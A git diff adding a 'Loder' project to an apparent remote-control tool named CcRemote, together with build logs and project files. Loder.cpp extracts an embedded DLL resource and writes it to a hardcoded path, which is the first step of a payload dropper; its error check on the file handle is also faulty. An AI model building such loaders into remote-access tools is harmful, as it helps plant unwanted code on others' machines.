diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo index a9685c7..553e6e5 100644 Binary files a/CcMainDll/.vs/CcMainDll/v15/.suo and b/CcMainDll/.vs/CcMainDll/v15/.suo differ diff --git a/CcMainDll/CcMainDll.sln b/CcMainDll/CcMainDll.sln index 4515cfc..f3ed394 100644 --- a/CcMainDll/CcMainDll.sln +++ b/CcMainDll/CcMainDll.sln @@ -7,6 +7,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CcMainDll", "CcMainDll\CcMa EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestLoadDll", "TestLoadDll\TestLoadDll.vcxproj", "{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}" EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Loder", "Loder\Loder.vcxproj", "{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 @@ -31,6 +33,14 @@ Global {7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x64.Build.0 = Release|x64 {7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.ActiveCfg = Release|Win32 {7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.Build.0 = Release|Win32 + {B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x64.ActiveCfg = Debug|x64 + {B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x64.Build.0 = Debug|x64 + {B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x86.ActiveCfg = Debug|Win32 + {B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x86.Build.0 = Debug|Win32 + {B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x64.ActiveCfg = Release|x64 + {B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x64.Build.0 = Release|x64 + {B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x86.ActiveCfg = Release|Win32 + {B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/CcMainDll/Loder/Debug/Loder.Build.CppClean.log b/CcMainDll/Loder/Debug/Loder.Build.CppClean.log new file mode 100644 index 0000000..680b9c8 --- /dev/null +++ b/CcMainDll/Loder/Debug/Loder.Build.CppClean.log @@ -0,0 +1,16 @@ +g:\ccremote\ccremote\ccmaindll\loder\debug\vc141.pdb +g:\ccremote\ccremote\ccmaindll\loder\debug\vc141.idb +g:\ccremote\ccremote\ccmaindll\loder\debug\loder.obj +g:\ccremote\ccremote\bin\server\loder.ilk +g:\ccremote\ccremote\bin\server\loder.exe +g:\ccremote\ccremote\ccmaindll\debug\loder.pdb +g:\ccremote\ccremote\ccmaindll\loder\debug\loder.res +g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\cl.command.1.tlog +g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\cl.read.1.tlog +g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\cl.write.1.tlog +g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\link.command.1.tlog +g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\link.read.1.tlog +g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\link.write.1.tlog +g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\rc.command.1.tlog +g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\rc.read.1.tlog +g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\rc.write.1.tlog diff --git a/CcMainDll/Loder/Debug/Loder.log b/CcMainDll/Loder/Debug/Loder.log new file mode 100644 index 0000000..824dd6e --- /dev/null +++ b/CcMainDll/Loder/Debug/Loder.log @@ -0,0 +1,3 @@ + Loder.cpp +G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(1216,5): warning MSB8012: TargetPath(G:\CcRemote\CcRemote\CcMainDll\Debug\Loder.exe) 与 Linker 的 OutputFile 属性值(G:\CcRemote\CcRemote\bin\server\loder.exe)不匹配。这可能导致项目生成不正确。若要更正此问题,请确保 $(OutDir)、$(TargetName) 和 $(TargetExt) 属性值与 %(Link.OutputFile) 中指定的值匹配。 + Loder.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Debug\Loder.exe diff --git a/CcMainDll/Loder/Debug/Loder.res b/CcMainDll/Loder/Debug/Loder.res new file mode 100644 index 0000000..9f001f1 Binary files /dev/null and b/CcMainDll/Loder/Debug/Loder.res differ diff --git a/CcMainDll/Loder/Debug/Loder.tlog/Loder.lastbuildstate b/CcMainDll/Loder/Debug/Loder.tlog/Loder.lastbuildstate new file mode 100644 index 0000000..03e57a1 --- /dev/null +++ b/CcMainDll/Loder/Debug/Loder.tlog/Loder.lastbuildstate @@ -0,0 +1,2 @@ +#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 +Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\| diff --git a/CcMainDll/Loder/Loder.cpp b/CcMainDll/Loder/Loder.cpp new file mode 100644 index 0000000..63f07a6 --- /dev/null +++ b/CcMainDll/Loder/Loder.cpp @@ -0,0 +1,75 @@ +// Loder.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 +// + +#include +#include +#include "resource.h" + + +bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize) +{ + DWORD dwWritten; + + HANDLE hFile = CreateFile(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if (hFile != NULL) + { + WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL); + } + else + { + return false; + } + CloseHandle(hFile); + return true; +} +//要释放的路径 资源ID 资源名 +bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResourceName) +{ + HRSRC hResInfo; + HGLOBAL hResData; + DWORD dwSize; + LPBYTE p; + // 查找所需的资源 + hResInfo = FindResource(NULL, MAKEINTRESOURCE(nResourceID), strResourceName); + if (hResInfo == NULL) + { + //MessageBox(NULL, "查找资源失败!", "错误", MB_OK | MB_ICONINFORMATION); + return false; + } + // 获得资源尺寸 + dwSize = SizeofResource(NULL, hResInfo); + // 装载资源 + hResData = LoadResource(NULL, hResInfo); + if (hResData == NULL) + { + //MessageBox(NULL, "装载资源失败!", "错误", MB_OK | MB_ICONINFORMATION); + return false; + } + // 为数据分配空间 + p = (LPBYTE)GlobalAlloc(GPTR, dwSize); + if (p == NULL) + { + //MessageBox(NULL, "分配内存失败!", "错误", MB_OK | MB_ICONINFORMATION); + return false; + } + // 复制资源数据 + CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize); + + bool bRet = CreateMyFile(strFilePath, p, dwSize); + if (!bRet) + { + GlobalFree((HGLOBAL)p); + return false; + } + + GlobalFree((HGLOBAL)p); + + return true; +} + + + +int main() +{ + CreateEXE("E:\\aaa.dll", IDR_DLL1, "DLL"); +} \ No newline at end of file diff --git a/CcMainDll/Loder/Loder.rc b/CcMainDll/Loder/Loder.rc new file mode 100644 index 0000000..8efafc0 Binary files /dev/null and b/CcMainDll/Loder/Loder.rc differ diff --git a/CcMainDll/Loder/Loder.vcxproj b/CcMainDll/Loder/Loder.vcxproj new file mode 100644 index 0000000..ed6c769 --- /dev/null +++ b/CcMainDll/Loder/Loder.vcxproj @@ -0,0 +1,175 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {B3E9754C-1ED9-4A3B-95BE-B3920B5B827B} + Win32Proj + Loder + 10.0.17763.0 + + + + Application + true + v141 + MultiByte + + + Application + false + v141 + true + MultiByte + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + + + Level3 + Disabled + false + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + Console + true + ..\\..\\bin\\server\\loder.exe + + + + + + + Level3 + Disabled + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + ..\\..\\bin\\server\\loder.exe + + + + + + + Level3 + MinSpace + true + true + false + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + Size + + + Console + true + true + true + ..\\..\\bin\\server\\loder.exe + + + + + + + Level3 + MaxSpeed + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + ..\\..\\bin\\server\\loder.exe + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/CcMainDll/Loder/Loder.vcxproj.filters b/CcMainDll/Loder/Loder.vcxproj.filters new file mode 100644 index 0000000..e2a6d9f --- /dev/null +++ b/CcMainDll/Loder/Loder.vcxproj.filters @@ -0,0 +1,35 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + + + 头文件 + + + + + 资源文件 + + + + + + \ No newline at end of file diff --git a/CcMainDll/Loder/Loder.vcxproj.user b/CcMainDll/Loder/Loder.vcxproj.user new file mode 100644 index 0000000..be25078 --- /dev/null +++ b/CcMainDll/Loder/Loder.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/CcMainDll/Loder/Release/Loder.Build.CppClean.log b/CcMainDll/Loder/Release/Loder.Build.CppClean.log new file mode 100644 index 0000000..159b3e1 --- /dev/null +++ b/CcMainDll/Loder/Release/Loder.Build.CppClean.log @@ -0,0 +1,14 @@ +g:\ccremote\ccremote\ccmaindll\loder\release\vc141.pdb +g:\ccremote\ccremote\ccmaindll\loder\release\loder.obj +g:\ccremote\ccremote\bin\server\loder.exe +g:\ccremote\ccremote\ccmaindll\release\loder.pdb +g:\ccremote\ccremote\ccmaindll\loder\release\loder.res +g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\cl.command.1.tlog +g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\cl.read.1.tlog +g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\cl.write.1.tlog +g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\link.command.1.tlog +g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\link.read.1.tlog +g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\link.write.1.tlog +g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\rc.command.1.tlog +g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\rc.read.1.tlog +g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\rc.write.1.tlog diff --git a/CcMainDll/Loder/Release/Loder.log b/CcMainDll/Loder/Release/Loder.log new file mode 100644 index 0000000..ff938c3 --- /dev/null +++ b/CcMainDll/Loder/Release/Loder.log @@ -0,0 +1,8 @@ + Loder.cpp +G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(1216,5): warning MSB8012: TargetPath(G:\CcRemote\CcRemote\CcMainDll\Release\Loder.exe) 与 Linker 的 OutputFile 属性值(G:\CcRemote\CcRemote\bin\server\loder.exe)不匹配。这可能导致项目生成不正确。若要更正此问题,请确保 $(OutDir)、$(TargetName) 和 $(TargetExt) 属性值与 %(Link.OutputFile) 中指定的值匹配。 + 正在生成代码 + 171 of 171 functions (100.0%) were compiled. + 0 functions were new in current compilation + 0 functions had inline decision re-evaluated but remain unchanged + 已完成代码的生成 + Loder.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Release\Loder.exe diff --git a/CcMainDll/Loder/Release/Loder.res b/CcMainDll/Loder/Release/Loder.res new file mode 100644 index 0000000..9f001f1 Binary files /dev/null and b/CcMainDll/Loder/Release/Loder.res differ diff --git a/CcMainDll/Loder/Release/Loder.tlog/Loder.lastbuildstate b/CcMainDll/Loder/Release/Loder.tlog/Loder.lastbuildstate new file mode 100644 index 0000000..fd0ad53 --- /dev/null +++ b/CcMainDll/Loder/Release/Loder.tlog/Loder.lastbuildstate @@ -0,0 +1,2 @@ +#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 +Release|Win32|G:\CcRemote\CcRemote\CcMainDll\| diff --git a/CcMainDll/Loder/resource.h b/CcMainDll/Loder/resource.h new file mode 100644 index 0000000..dba5051 --- /dev/null +++ b/CcMainDll/Loder/resource.h @@ -0,0 +1,16 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ Éú³ɵİüº¬Îļþ¡£ +// ¹© Loder.rc ʹÓà +// +#define IDR_DLL1 101 + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 102 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/bin/server/loder.exe b/bin/server/loder.exe new file mode 100644 index 0000000..31eaae7 Binary files /dev/null and b/bin/server/loder.exe differ